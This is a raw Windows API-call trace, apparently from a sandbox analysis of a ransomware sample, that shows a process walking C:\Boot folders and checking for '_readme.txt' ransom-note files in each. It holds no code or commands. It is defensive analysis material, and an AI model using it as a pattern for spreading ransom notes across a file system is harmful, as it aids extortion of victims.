(in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13af1b30, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13af1b30, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13af1b30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.283] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13af1b30, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13af1b30, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13af1b30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.283] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018798 | out: hHeap=0x5b0000) returned 1 [0122.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018798 [0122.284] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.287] PathFindFileNameW (pszPath="C:\\Boot\\fi-FI\\") returned="fi-FI\\" [0122.287] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.288] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.288] PathFindFileNameW (pszPath="") returned="" [0122.288] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.288] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.288] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.288] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.288] PathAppendW (in: pszPath="C:\\Boot\\fi-FI\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 1 [0122.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.288] PathFileExistsW (pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 1 [0122.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.289] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.289] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.289] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.289] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b17c90, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.289] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b17c90, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.289] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018798 | out: hHeap=0x5b0000) returned 1 [0122.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018798 [0122.289] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.291] PathFindFileNameW (pszPath="C:\\Boot\\Fonts\\") returned="Fonts\\" [0122.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.291] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.291] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.291] PathFindFileNameW (pszPath="") returned="" [0122.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.291] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.291] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.291] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x3067040 [0122.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.291] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.291] PathAppendW (in: pszPath="C:\\Boot\\Fonts\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 1 [0122.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.291] PathFileExistsW (pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 1 [0122.299] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.299] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.299] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, 